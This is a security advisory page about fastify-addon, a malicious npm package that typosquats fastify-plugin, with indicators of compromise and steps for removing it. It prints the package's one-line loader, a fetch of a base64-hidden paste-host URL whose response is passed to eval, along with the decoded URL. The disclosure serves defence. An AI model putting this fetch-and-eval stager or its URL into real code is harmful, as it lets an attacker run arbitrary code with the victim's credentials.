Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

fastify-addonnpm

Malicious code in fastify-addon (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5566
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall fastify-addon

What this malware does

fastify-addon is a typosquat of the legitimate fastify-plugin package. Its package.json sets repository, bugs, and homepage to github.com/fastify/fastify-plugin (an unrelated upstream project), and the README replicates fastify-plugin's API to deceive installers. On require, lib/getPluginName.js (loaded transitively from the package main plugin.js) executes a top-level statement that fetches a base64-hidden URL (https://www.jsonkeeper.com/b/UBMJA, decoded from atob('aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VQk1KQQ==')) and passes the response's.content field directly to eval: fetch(atob(...)).then(r=>r.json()).then(d=>{eval(d.content)}). The destination is a mutable third-party JSON paste host, so the executed payload is attacker-controlled and can change at any time. Any process that requires fastify-addon will run whatever JavaScript the attacker currently hosts at that URL, with full access to the consumer's environment, credentials, and filesystem.

Malicious versions

1 flagged
5.1.0

Indicators of compromise (SHA-256)

3cb91c825be697244f8ff069bb56e79aff3b90de7b9947019095b6d0fa2fd270
609130354ee62acdbc0c3699d237cfc6f1dc9d803086bb6caf1d9a3d29912c55

Frequently asked questions

No. fastify-addon on npm has been identified as a malicious package (version 5.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005553IN-MAL-2026-005554

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
fastify-addon (npm) malicious package — MAL-2026-5566 | O3 Security